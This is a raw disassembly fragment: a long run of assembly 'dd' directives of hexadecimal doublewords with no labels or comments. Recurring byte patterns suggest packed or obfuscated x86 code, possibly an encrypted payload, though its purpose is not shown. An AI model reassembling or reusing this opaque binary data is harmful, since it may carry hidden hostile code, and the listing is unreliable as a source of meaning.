		dd 3ED7E1D8h, 0D9B9A8Fh, 0B11C2270h, 0D44255BAh, 58B1563Bh
		dd 2DDC750Fh, 0E6D0A65Fh, 24DF564Bh, 0F9FD96C4h, 355046C3h
		dd 31289395h, 0CEC30FF3h, 96C3B767h, 7ED41958h,	696436A3h
		dd 0DE5D4758h, 187D06A7h, 0D9AFA244h, 81B4A929h, 53148307h
		dd 0F56D1F7Eh, 0D13C3EF6h, 0C04311C0h, 362DC8B2h, 88AE932Ch
		dd 0EE2E5948h, 5AA8E6DDh, 6A996716h, 0D4BE9C4Bh, 0A33E2839h
		dd 0AD0252ACh, 0EAC0B564h, 0D7165914h, 6B39D26Ch, 90E61F9Ah
		dd 10FA0BA6h, 514C7E75h, 8A000000h, 0F2A1EA3Fh,	457319FDh
		dd 5B1F5E24h, 0F21128AAh, 0F0A13184h, 20584F0Bh, 0B4C59552h
		dd 0DF8F72CAh, 64C7AC45h, 373FC660h, 0CF912E52h, 0B80583D8h
		dd 13C20B65h, 9A550F1Eh, 0B2350328h, 2C23BEA8h,	1DB44FBAh
		dd 0DDC2984Fh, 0B3F61809h, 35B5249h, 0BA5CB37h,	0EBD065Bh
		dd 0BCB3A740h, 516AA89Dh, 9C072445h, 0D5C81FEDh, 0F87C882Fh
		dd 5162FDE7h, 422ED4A2h, 0BCC6BD58h, 0C877E304h, 726909FAh
		dd 2A73C818h, 0A978867Bh, 0CE392A6Fh, 0EAB0511Fh, 9F921AC7h
		dd 0E3CDDE2Eh, 78F75148h, 226FADC1h, 0ED9CE53Ah, 45A07EF8h
		dd 0EED84324h, 99DFCA6Fh, 3F62628h, 1170B317h, 241DD9h
		dd 3F550000h, 43F2A1EAh, 18E69075h, 6A18BCFh, 736CAA0Fh
		dd 92602445h, 7A15FF6Fh, 0BCA61183h, 1B70h, 0EA3FAE00h
		dd 7543F2A1h, 0E2534890h, 0D5226F7Ch, 0FD62596Ah, 24455F51h
		dd 4FC1AB16h, 4EA27156h, 34AEEF85h, 6D03FF3Dh, 60122367h
		dd 80CC2664h, 63Eh, 19BC127h, 1CB6B849h, 39D39F64h, 59F38581h
		dd 771163A1h, 0B74DD19Bh, 9A6B23BDh, 5D8A42DCh,	57AB63FDh
		dd 80997F19h, 0A1D4AA8Bh, 0A8780D28h, 0C2178516h, 1DD5CA79h
		dd 0A224455Ch, 0DC997E37h, 9FE653CEh, 5D52014Ah, 0E8B25CC1h
		dd 0B8B64B19h, 0CA3C33CEh, 6E3C755Fh, 0AFE5DC94h, 9462115Ah
		dd 821D0753h, 0EFBD6C8Bh, 81958913h, 76F5A702h,	0E9E07B65h
		dd 8BC0FC84h, 0A352BDE6h, 5D4731D5h, 69FDDDC2h,	71622C42h
		dd 0DEAC5B7Ah, 18564D25h, 34EC86EAh, 1D18CECEh,	72E92509h
		dd 187A6CAFh, 13243590h, 0CB30870Dh, 1C68C228h,	58Eh, 51EB7177h
		dd 6C066899h, 89234FB4h, 0A94335D1h, 0C76113F1h, 679D21EBh
		dd 4ABB730Dh, 0DDA922Ch, 7FBB34Dh, 0D0E9CF69h, 0A1D45ADBh
		dd 0F8C85D28h, 9FA5CB37h, 645F30FFh, 4FA4F04Ah,	38000005h
		dd 5A12ACB0h, 752DC7A7h, 924AE48Eh, 0B26A0474h,	0AC882252h
		dd 0CEA65EE2h, 0ED897C34h, 0E4C9B53h, 2A46BC74h, 9C91AA90h
		dd 28A1D499h, 56B9891Eh, 0C9387988h, 0F20BBA5h,	55938A25h
		dd 89D9C3ADh, 8D3CEB34h, 6F7D9D98h, 0C0B72222h,	3117ACA1h
		dd 6DD8245Dh, 7B6C3AD3h, 8293E322h, 0D006FD98h,	9E83327Bh
		dd 7CC8B4F9h, 17362DBEh, 78190422h, 9B4AB52Ah, 503A34CDh
		dd 561CE7B5h, 80DAD16Ch, 88613801h, 9588B822h, 0A9F110DEh
		dd 0E944A43h, 3822338Bh, 3CF9EE9Dh, 83228782h, 0FDCD2118h
		dd 0C5D2FF0Eh, 70670DF7h, 0AC5Fh, 86169700h, 46BDC318h
		dd 0B7023E58h, 5B6CA21Bh, 4CA69B4Ah, 0E524462Ah, 47DCC17Ah
		dd 9BF39358h, 783EF7ECh, 1681EB9Dh, 0E5440231h,	271EDE05h
		dd 6B59CF1h, 9D0E2411h,	3B309BEBh, 0EB9D0DFAh, 776113F1h
		dd 5E6FDADCh, 0F038BAAFh, 8EF9ED72h, 0B6FF54A4h, 0B0801207h
		dd 0D641F34Ah, 0C7A95927h, 0E38D752Dh, 8962CBDDh, 0D8247E2Dh
		dd 432h, 0F58FCD1Bh, 10AAC43Dh,	2DC7AB58h, 4DE79175h, 6B056F95h
		dd 0C341C58Fh, 0A65F17B1h, 697E36D0h, 639F57F1h, 748D730Dh
		dd 0A1D6B67Fh, 0A4740928h, 0B243h, 17ECBA00h, 0DFD6715Bh
		dd 0E4EA3F87h, 0CC67511Dh, 0BC170CBBh, 77245D30h, 0ACBDB34Fh
		dd 9DD32FFDh, 0EB4A3FEEh, 0CC28A1C8h, 0A8606A61h, 0DC2C165Ah
		dd 0F3858187h, 0AE5D6E09h, 77ABD5B9h, 452F9A2Ah, 0D8C43E0Ch
		dd 0AB99189Ch, 0EACFE096h, 0BD79F8A0h, 61978E37h, 7800060Ch
		dd 2409B867h, 0BA66B567h, 0F746BD0h, 245E14FFh,	6C6E98C0h
		dd 0A212BE77h, 85960128h, 0E9EF009Bh, 6A91C6C9h, 7BDA2680h
		dd 64000003h, 863ED884h, 0A159F37Bh, 0BE761062h, 0DE963048h
		dd 0D8B44E26h, 0FA7A8A0Eh, 195DA860h, 3A20C77Fh, 561AE8A0h
		dd 0C8BDD6BCh, 28A1D66Dh, 10EDBD52h, 226F7D25h,	6F7D92A7h
		dd 0CB146922h, 309C271Ch, 0EC57245Dh, 30F8583Dh, 0DFC4B054h
		dd 685FEFB8h, 3126D50Eh, 28A1FC04h, 1B5950BBh, 398389E7h
		dd 106A91B0h, 3106AB6h,	0EFF90000h, 0E61BD36Dh,	0CD36EE88h
		dd 0B3530BA5h, 91732BC5h, 0A36D49E3h, 0F58FE51Fh, 14AEC83Dh
		dd 35CF8B5Ch, 51EB857Dh, 0D85D526Bh, 0DF28A1D6h, 0CB377A4Ah
		dd 0DA28F6A5h, 5F492BD9h, 62BCB3C4h, 0C574BD12h, 0B6BA4816h
		dd 7D045ABFh, 1A852445h, 0C26AA180h, 0BB49754Ah, 9D671FB9h
		dd 449DEDD7h, 0FAC861FBh, 1B736A0Ah, 0BBA5CB37h, 37D19F63h
		dd 3AE93287h, 45592545h, 452F9A24h, 99A173C6h, 5A4D7D28h
		dd 112E5C6Eh, 4074D9h, 56AC0000h, 15FA7E88h, 0F13E0071h
		dd 77ADA42Ah, 352AD922h, 2445BA7Dh, 6EEDD742h, 2899CACBh
		dd 5247F625h, 2899CAE3h, 527269D4h, 5C57735Fh, 0BC79D911h
		dd 0EA000000h, 0BEEF463Bh, 65D02899h, 0CB37166Eh, 0A163BBA5h
		dd 7191E9D3h, 0F498A72Bh, 0E3F44D4Dh, 0F61A1F9h, 79BCB160h
		dd 3E226FA0h, 0B3B3EED3h, 0F9E2BCAEh, 0C719F802h, 7C227024h
		dd 9850EA86h, 0CC1C066Ah, 8A7F2E77h, 24460FB0h,	5C0CA611h
		dd 410FBE07h, 24E2B0C2h, 8F3E5D54h, 2A94AFAAh, 0A09749D6h
		dd 6DECAE3Bh, 5706712Ah, 5FF97B89h, 44435DA7h, 761E8769h
		dd 94323849h, 0B564654Bh, 1CC0F5Bh, 33B50000h, 2AD78F29h
		dd 11F2AA44h, 0F70FC761h, 0D52FE781h, 5F29059Fh, 0B14B29DBh
		dd 0D06A0CF9h, 0F18BCF18h, 0DA7C939h, 1C190E27h, 0A328A1D8h
		dd 0CD373E0Eh, 0AD550DA7h, 3F5729C3h, 0FDF2A1EAh, 244556B5h
		dd 0F1877F4Dh, 3756C07h, 0F21BF2C4h, 0DE796313h, 8E0D00F9h
		dd 0DFF00159h, 0DEC376F5h, 0FD2D2899h, 0F86E530Ah, 7712694Bh
		dd 352AD9h, 0B7289995h,	0C901554Ch, 0F9D91125h,	0B29CDA2Bh
		dd 0C00F2017h, 47000000h, 0BBA5CB37h, 4035A163h, 226F7CF5h
		dd 0F5FA2CAh, 68798A25h, 8C77457Eh, 8596D829h, 0A61B009Bh
		dd 402F1511h, 0E8F85D54h, 0DD226FC7h, 0F9B14B25h, 2D7D6709h
		dd 0EBE08FD8h, 2445B24Fh, 9311F5C3h, 9E05FFA6h,	0BDB4C563h
		dd 93E1234Bh, 63FD0EA9h, 66155EB3h, 6DF1D971h, 6C1B862Ah
		dd 740E669Eh, 0DFE9F6DBh, 3EF5D748h, 0C32924D8h, 0F2D7E8BCh
		dd 0FE984CD1h, 16544BAFh, 508086EEh, 0F9646611h, 0C0539Fh
		dd 3FA90000h, 36CB831Dh, 1DE69E38h, 303BB55h, 0E123DB75h
		dd 531DF993h, 0A53F35CFh, 0C45E18EDh, 0E57FDB0Ch, 19BD52Dh
		dd 280D021Bh, 8F28A1D9h, 0CD372AFAh, 0AD550DA7h, 375729C3h
		dd 11F6A5CBh, 0E7C9D6DEh, 0B30D0403h, 362BA75Bh, 227007FFh
		dd 0AA4455C0h, 0AD5CA5FAh, 82C09FEh, 28932270h,	0D3CAAA5Ah
		dd 0BC18BFB4h, 83AB245Dh, 9D0CF664h, 4ABB4DC4h,	637485BCh
		dd 8FE12179h, 0ABC53DF5h, 327842C1h, 13B57E99h,	0B8B84A20h
		dd 0D49C661Eh, 4ACCB1EAh, 35189300h, 0D4327067h
		dd 1D36BAA4h, 0C5BCB24Fh, 26DCB2A5h, 0AF8B04Ah,	0F307C66h
		dd 6E000000h, 3B7C8856h, 28C3ADCBh, 9B922D17h, 0B137FC54h
		dd 9969C1ABh, 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h
		dd 0B551A993h, 8281D9C3h, 53AE06F0h, 8316311Bh,	0C8904ECh
		dd 4EC8124h, 89000000h,	8953243Ch, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2404895Ch, 5D286852h, 0BF5A3EFDh, 38CF1080h
		dd 685AD731h, 0EF1h, 83242489h,	58042404h, 1E8568h, 242C8900h
		dd 6889FD89h, 34FF5D08h, 0C4815824h, 4,	51243C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 43E95C24h, 0FFFFF820h,	0E4A9035Eh
		dd 0E9AEE235h, 73B820D2h, 306325Dh, 5BE0FFC5h, 2334C894h
		dd 0E0602749h, 8D1B8C22h, 325EF08Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 20DA1A9Ah
		dd 0C380E708h, 49B58934h, 0E9062A34h, 0Bh, 5603BD08h, 0CFD3B4DAh
		dd 8994328Fh, 2A33958Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C3B3F489h, 896023FAh
		dd 2A09E5B5h, 8D9D8906h, 61062A0Fh, 0C7FE8B66h,	2A0BF985h
		dd 69D806h, 68B0F00h, 1000000h,	2A191585h, 0C585C706h
		dd 62A06h, 8B000000h, 2A201585h, 55B5FF06h, 0E9062A34h
		dd 13h,	2933166h, 39EEED03h, 0D28F6F96h, 57095296h, 0FF1A0642h
		dd 2A05C195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0E4537A40h, 0FF006A07h, 2A343995h
		dd 0EBC08B06h, 5F51CE4Eh, 5CC9EF29h, 94A8F99Eh,	3B98FC25h
		dd 53A66BA5h, 9A70F510h, 0D988E77h, 6E0A808Fh, 0F679376Ah
		dd 5213AF42h, 70C56A64h, 0C97A964Ah, 21BD86F1h,	0AF6EC901h
		dd 91520E6Fh, 0E25BE1Ch, 977CCBE8h, 61F407C4h, 0ACB84B83h
		dd 8D103A9Ch, 325FF58Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 958D89B7h, 6A062A33h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0DE62C356h, 0ACFA62DEh, 598D2966h, 89062A00h
		dd 2A201585h, 0F985C706h, 0C0062A0Bh, 0F9000069h, 6C585C7h
		dd 62Ah, 85090000h, 62A2C0Dh, 2FDB5FFh,	7E9062Ah, 37000000h
		dd 5029A651h, 95FFE1D2h, 62A05C1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0FEC35343h,	853077DCh, 6ADDE5h
		dd 343995FFh, 0C08B062Ah, 3FB34CEBh, 411276D7h,	23A6FBFDh
		dd 585CC37Dh, 0F3CBBD80h, 668192E1h, 0C7CA2532h, 8F561EE1h
		dd 0EF0D78D3h, 0DC014AADh, 682BCE00h, 0F8BE79AFh, 0A454CA00h
		dd 23D7025Fh, 0D87CFEFCh, 3E3613D3h, 6199DC48h,	349FD76Eh
		dd 2AC89337h, 9E9742Ah,	70000000h, 3CD5B8h, 0
		dd 625E9h, 520ADE00h, 6D0100B8h, 8AE81BD3h, 0AACE38F0h
		dd 0C8AC5810h, 488522Eh, 22DA7400h, 41F993E3h, 621AB4A6h
		dd 5036D0A0h, 0DCF34237h, 2FC428A1h, 7CB375Fh, 6F7D2312h
		dd 43F2E722h, 74226F7Dh, 8B9C0709h, 0B9BB49A1h,	4DB8861Fh
		dd 0EFD9956Ch, 72754354h, 6C63FEE8h, 0B29CD42Eh, 0DC0BA85Ah
		dd 0E549F4AAh, 83941A4Fh, 6A4F8872h, 7AE12B78h,	372FCD1Dh
		dd 0F16248F0h, 7FEF12E0h, 0C503FA95h, 0F048323Ch, 217963F7h
		dd 4A10D7C6h, 0CAB4C560h, 0E3FCEF7Fh, 0C6C7AC4Dh, 866D0DAEh
		dd 0FCEF0F06h, 1F6DC26h, 22706634h, 600F208Bh, 6679BCB1h
		dd 0D33E2270h, 0CD1AD2DCh, 0AC3BF38Dh, 996CC4AEh, 556FF3DDh
		dd 0FF5B8C62h, 281DCC65h, 2270660Dh, 81B4A9B2h,	36227066h
		dd 85C3BACBh, 0D009F37Dh, 329BFF02h, 161D89F8h,	966F3D4Eh
		dd 645BF6E0h, 6FD73BFFh, 6E2FB822h, 5AF5DF97h, 9DF05F49h
		dd 817D88D4h, 4E26DEACh, 96891964h, 6F628A7Dh, 0E71C4783h
		dd 7789D2h, 37C10000h, 3CBBA5CBh, 226F7CFFh, 7D67F3F4h
		dd 2F7DF25h, 226F7D33h,	1E081984h, 748D809Ah, 7A665981h
		dd 0D2E70E50h, 180h, 0CA37B800h, 47581EE7h, 72FC055Dh
		dd 81814F88h, 4CBAF8EFh, 8022422Ch, 0DF08D68Dh,	0BB46847Bh
		dd 5869F1F6h, 905725BEh, 2EBEE5CAh, 973B91h, 7C37CB09h
		dd 6904EE8Ah, 7470C5BAh, 0DC472270h, 0CA9831CBh, 0F084801Dh
		dd 635AF5DFh, 0EACD370Bh, 39725C1Ch, 6F7CF144h,	4A5BC622h
		dd 48164F39h, 83C1B8BCh, 0AE06F07Eh, 0DC341E56h, 0DE624C28h
		dd 0B4B8D1C4h, 23E1B7AAh, 594EE67Dh, 0BDCE0BFDh, 0B3A7400Eh
		dd 8FAB2BCh, 19EBB968h,	0B20A645Bh, 0DC372151h,	1D02B9ACh
		dd 0C3C43EFBh, 93E7DECCh, 0D2E7CB47h, 25ABB69Bh, 6358C206h
		dd 935B6Ch, 37930000h, 13F8A7CDh, 0B8355D36h, 0BA140B13h
		dd 58DDD281h, 93226FD9h, 7B16006Eh, 0D9170E79h,	3E5E482Ah
		dd 31D3A99Ch, 6E01F56Fh, 0E8F97C3Ch, 66E964Eh, 0EE15E31Ch
		dd 8FF9A84h, 523C3CCAh,	7F6909FAh, 8D921810h, 3200FD33h
		dd 28B6A0D0h, 0AE552B1Eh, 0B2E2B3C4h, 9907D3BFh, 5DE9D2E7h
		dd 5A000000h, 0FF9758Ch, 59886CA0h, 4A5BE0B0h, 0CD37FB53h
		dd 8265BDA7h, 13A3EED8h, 679B6920h, 0A8B9B54Ch,	0EE2C23BEh
		dd 2BC45E16h, 17F8BA46h, 8E856EC2h, 0A4CA3736h,	0E45146F5h
		dd 0DB226F7Ch, 0E61F7970h, 7CF34237h, 59C4226Fh, 7D3DFD62h
		dd 6991226Fh, 0E408A76h, 190D2E7h, 0C8000000h, 0E7BD7156h
		dd 0CDF8A0AAh, 76B98D6h, 333DC51Dh, 0B8ABC549h,	8F7D21E2h
		dd 0FF5FF0B2h, 0E2E07FCh, 26912270h, 87550415h,	0F802F97Fh
		dd 0FBAAF348h, 317AE16h, 4FBD264h, 0F55AF0E5h, 0FE072445h
		dd 9A332C09h, 79289328h, 9A33B184h, 8A9B0628h, 4E9967A0h
		dd 9087220Ch, 11C0B052h, 0BAB1BF43h, 0A90AF8B0h, 96311B5Dh
		dd 3227D685h, 289A3303h, 535519E8h, 1897F1E8h, 289A3323h
		dd 82804EDDh, 0E4D7F7EEh, 44BFF40Eh, 0CFE09271h, 8A394AE5h
		dd 432D49BCh, 4A2ADAA8h, 0C4CEC560h, 0CB7AF60Ch, 0B6255BE6h
		dd 0BDB29035h, 28997D78h, 0CCC3D43Fh, 88E81A72h, 3907109Eh
		dd 82C7ACAEh, 1E6451A8h, 8D80A097h, 8B254BB7h, 115F0DBDh
		dd 17BC3D9h, 3FFB0000h,	0FDF2A1EAh, 244559EDh, 0CA9847B2h
		dd 8EA79C3Ah, 312899A2h, 64BEB5C6h, 0E07AF60Ch,	0E796DA28h
		dd 9D87E919h, 59B10B02h, 4A18C7A9h, 33CEB8B8h, 4A54E23Ch
		dd 0EF818157h, 33438755h, 0D07FD911h, 99965ADBh, 0DF25D28h
		dd 6C01569Eh, 0A7B8AF14h, 53h, 0E0E63FDFh, 0CC675125h
		dd 8771E9FEh, 372CDBECh, 5D90839Eh, 8D0CF661h, 0A26F7CA8h
		dd 0ED18E66Fh, 0D049F89h, 0D32CFAEDh, 7D2CDB8Ah, 6F7CAD88h
		dd 0B3BB46A2h, 0C12C2EC9h, 827065CAh, 9C07DD90h, 0DF5602h
		dd 0FFCD0000h, 0EC877107h, 0A791C91Eh, 3FBD150Ch, 8222E4EAh
		dd 0DD45BE04h, 0BF50606h, 1262A270h, 0CD7C8D28h, 836D03FFh
		dd 0F14439E8h, 0C6227005h, 5045645Bh, 2445FC52h, 4632D4A2h
		dd 8872DD4Fh, 6E1D230h,	0F5066C97h, 58DDD20Bh, 5F289A03h
		dd 38D2E3F4h, 4EE8280h,	786D1CCBh, 289A02BDh, 93A29702h
		dd 24289A03h, 635DC2B9h, 65289A02h, 5D2BE2D5h, 96D4CBA5h
		dd 8640306Ch, 2FE474A5h, 65A16F1Eh, 62121C13h, 79FF070Dh
		dd 0EA0FF48Fh, 3893B9DAh, 0C9782738h, 0B310251Ah, 3CA72899h
		dd 0B39D988Dh, 0B7222899h, 53195BC0h, 729A2A87h, 8CFBE575h
		dd 4FFDF9Eh, 31425329h,	0A013EF47h, 0BD441266h,	32B6A0B1h
		dd 2572518h, 5F150AB9h,	0E0247583h, 9342DB75h, 9983979Eh
		dd 0C6BD2828h, 7E88566Eh, 0A77510FAh, 0EA20175Dh, 0EE9D4C95h
		dd 0FDF2E420h, 226F7D38h, 0C03147Fh, 5D1DCDA7h,	16EBB924h
		dd 0DCD36E58h, 0BD15FF6Ah, 0D9912B45h, 0FB7B8A29h, 0F9C700EAh
		dd 0E736A0Ch, 1EBB02E6h, 603629CBh, 7C34CEA2h, 0A800EA86h
		dd 0D8301A5Eh, 75F492Dh, 2907AE0h, 0F2EC05F8h, 0F30FE5D8h
		dd 0D72BE37Dh, 363AF99h, 0A1000000h, 0B137D62Eh, 9969C1ABh
		dd 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h,	0B551A993h
		dd 8281D9C3h, 53AE06F0h, 8316311Bh, 248904ECh, 4B95124h
		dd 1000000h, 5904244Ch,	54C468h, 24148900h, 482B68h, 241C8900h
		dd 311DBD55h, 814539A5h, 0F24A37E5h, 0C9CD8165h, 0F71B5538h
		dd 81DDF7D5h, 3D2779C5h, 5DEA89CAh, 14EB68h, 24248900h
		dd 4240483h, 3481525Bh,	1B239A24h, 8438F36h, 8BA52h, 0DA010000h
		dd 239A3281h, 0FF5A361Bh, 835B2434h, 148B04C4h,	0E0895024h
		dd 405h, 40500h, 4870000h, 0B7E95C24h, 7CFFF817h, 0FAADDF57h
		dd 4BC67FEDh, 0EBB8279Dh, 3063265h, 71E0FFC5h, 0D97872A4h
		dd 562D635h, 533C1521h,	797B197Bh, 0DA53A02Bh, 4D7CC5DEh
		dd 0E24107CAh, 560A34E2h, 3B6C60C9h, 0B754A40h,	8B23EB01h
		dd 817B4F1h, 0E86913F2h, 0Ch, 83E48F91h, 1468CADCh, 0EA5FBCABh
		dd 88B0Fh, 8E0F0000h, 2, 0F586160h, 388h, 0DBB70F00h, 5B6EC081h
		dd 7E90000h, 0C8000000h, 4E99F303h, 0F6334F33h,	4DD18166h
		dd 303C8B14h, 0BE8h, 310E8C00h,	0FD70AE8Bh, 0C686F894h
		dd 8C7CE181h, 815B3012h, 9686BBC7h, 8B0F5016h, 3, 5BDA8B66h
		dd 44CEF781h, 13E948E5h, 2E000000h, 8D28BA4Eh, 4AD57650h
		dd 0FCA228D9h, 5BFB004Fh, 0F781BDCAh, 10F48F6Ch, 57C9BF0Fh
		dd 5B3DB550h, 8130048Fh, 8C2D94CBh, 0EE95237h, 0D1000000h
		dd 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0EE815ACDh, 2A874DA9h
		dd 4DA5C681h, 80602A87h, 0D78B93CFh, 6CFE8161h,	0FFFFFA5h
		dd 0FFFF6C85h, 8E9FFh, 52470000h, 0A4D2A550h, 8D8D7C4Dh
		dd 632684Bh, 8E9h, 45390F00h, 82862C5Bh, 958D8986h, 0F062A33h
		dd 85C7D2B7h, 62A0BF9h,	5988h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 8C35646h, 1BC4FB6Bh, 0B58B74A4h
		dd 62A07EDh, 6C585C7h, 62Ah, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FF3480C3h
		dd 2A196DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 2BD0EFFAh, 0FFC68B66h, 2A05C195h
		dd 8FDA8006h, 95FF006Ah, 62A3439h, 7CEBC08Bh, 0B70C3F22h
		dd 89A4DEC8h, 18588413h, 0C8902775h, 209670A1h,	49C398F4h
		dd 0A535391Fh, 544C3DE5h, 8BB24E16h, 0A4349E31h, 0F0FA9E3Fh
		dd 9E96369Bh, 0DD631F33h, 73768628h, 0CB12B0ECh, 0CA4C0B3Eh
		dd 23C7ECF8h, 65C78E2Ch, 0C42E6456h, 0F25B92Ch,	7536A8FBh
		dd 5E2743F5h, 0E64A60BBh, 23F6A8BBh, 60CD298Dh,	0ACCD3D6Ch
		dd 50E0D863h, 0A9E6E883h, 57F987A1h, 67AD7AB2h,	0CB3E8B21h
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 3299B531h, 0BD83062Ah, 62A2451h,	83097500h
		dd 2A2A89BDh, 19740006h, 0C08B5350h, 42DB8h, 89858900h
		dd 8D062A27h, 2CBB699Dh, 5BD3FF06h, 89BD8358h, 62A2Ah
		dd 53501774h, 42DB8h, 89858900h, 8D062A27h, 2CB8589Dh
		dd 5BD3FF06h, 48C68158h, 663FCB5Fh, 0C08BF78Bh,	1184C281h
		dd 8D8B4D77h, 62A009Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0A5C35040h, 68488ADDh, 0F983A2h, 0B6840Fh
		dd 0BA660000h, 8B6400A2h, 2C3Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F5E9F5FBh
		dd 840FFF0Bh, 84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 39C35747h, 75F29051h,	556B6289h, 79FDBA5Ch
		dd 85896E6Fh, 62A1329h,	6A3F8Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0E8E4A4C3h, 6, 3B00397h
		dd 958B23DBh, 62A2611h,	6AC0325Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 87D4C356h
		dd 0D18BAAF3h, 50414935h, 0C985C653h, 47062A27h, 4E8EFB2h
		dd 2C000000h, 50DCD688h, 0E28A6052h, 870Fh, 0F610000h
		dd 50585A31h, 8BF28B66h, 0F042444h, 0E88h, 66525000h, 0F878ABEh
		dd 0FBA6631h, 8B585A5Bh, 8E900h, 9ADC0000h, 4B98ECBBh
		dd 4489A5FFh, 0AE90424h, 0B5000000h, 9F1F3FABh,	0AEC2218Ch
		dd 0D6B65809h, 22C9B5FFh, 820F062Ah, 5,	27DE8166h, 0A9858DF3h
		dd 60062D81h, 12F9958Bh, 8166062Ah, 612530F7h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 9580BC3h, 3EB2A17Dh,	2B218589h, 0D18A062Ah, 27C985C6h
		dd 6A53062Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0DB88C357h, 3880Fh, 0E6800000h
		dd 6850F70h, 89000000h,	2A06A985h, 4E806h, 6AFC0000h, 0E9508898h
		dd 9, 68DD2346h, 6A19F9E1h, 24448BB8h, 0ADA8BE04h, 8B7895h
		dd 3457BE60h, 8F0F19D2h, 0Ch, 6E8h, 3733B600h, 5B640F48h
		dd 24448961h, 21BE6604h, 81665836h, 0F1E8DDAh, 884h, 95295600h
		dd 62A1565h, 0C9B5FF5Eh, 6A062A22h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6899C355h
		dd 0D0BDEFDDh, 81A9858Dh, 0B589062Dh, 62A0D7Dh,	8C0FD0FFh
		dd 6, 880Fh, 858D0000h,	62D437Bh, 2551B58Bh, 8589062Ah
		dd 62A2849h, 1621958Bh,	206A062Ah, 95FFFF6Ah, 62A2849h
		dd 50414935h, 0D185C753h, 1062A1Bh, 0C7000000h,	2A263985h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 6E9A2h, 3B070000h, 0CBAEAAAh, 14E9h
		dd 4B9B5300h, 0A21FEC90h, 0DB95D0D9h, 7782F18Dh, 48896B86h
		dd 0D5858B21h, 6A062A12h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A1B2C350h,	0E0B491BAh
		dd 664C2E9Ch, 0A364F28Bh, 0
		dd 3245BD83h, 0F00062Ah, 5284h,	1DB50B00h, 8B062A13h, 2A0D8985h
		dd 0CE96006h, 61000000h, 0B59310Ch, 66D0B441h, 66F2E1D3h
		dd 0AB7AC681h, 6AE08B61h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 54D6C356h, 29420220h
		dd 2A00299Dh, 49F68106h, 83742BD8h, 2A2CF9BDh, 850F0006h
		dd 3B0h, 0E95ED2BAh, 0C985C67Bh, 56062A27h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E5C35242h, 1A88B479h
		dd 56CABAE0h, 8E686D18h, 818078D8h, 58512404h, 6A294Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0A9E6E8C3h, 57F987A1h, 0F1B70FB2h, 22C9B5FFh, 8B0F062Ah
		dd 5, 0DAB70F60h, 0A9858D61h, 0E9062D81h, 0Eh, 0CC4A26AEh
		dd 4DE2805h, 5C8E138Bh,	0D0FF3CB5h, 119D9D89h, 8B50062Ah
		dd 240489F1h, 18958589h, 8D8D062Ah, 62A003Dh, 0DE9h, 0B5465E00h
		dd 0FC8091EEh, 3CB1C6A5h, 0B5BE4752h, 501EC552h, 6A240C89h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 3AA5C353h, 0ACC090EFh, 0C9858984h, 6A062A0Ch
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 9AFF3A95h, 0B406547Ch, 0BD89877Fh, 62A0F95h
		dd 0E426F768h, 24048186h, 791BE909h, 6DB5FFF8h,	89062A22h
		dd 2A1FD585h, 6AD0FF06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0F44C352h, 812F3720h
		dd 43742219h, 6DBD8BFCh, 0B062A22h, 2A295195h, 3C7F0306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h
		dd 0FEA078Ah, 383h, 0A6F28000h,	0F8C781h, 0B58B0000h, 62A1109h
		dd 202447C7h, 66600000h, 83BB9DBAh, 3268CEBDh, 840F0006h
		dd 142h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0EEC35242h, 83781EABh, 0F68028C7h, 2E07C78Fh, 6A64696Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C639C355h, 0F58EDDDh, 387h, 0F78B6600h
		dd 610447C7h, 51006174h, 35059503h, 8B5E062Ah, 3268D685h
		dd 0C478906h, 14E9h, 31DF0B00h,	4370348Ah, 5D28EAF0h, 4F7327DEh
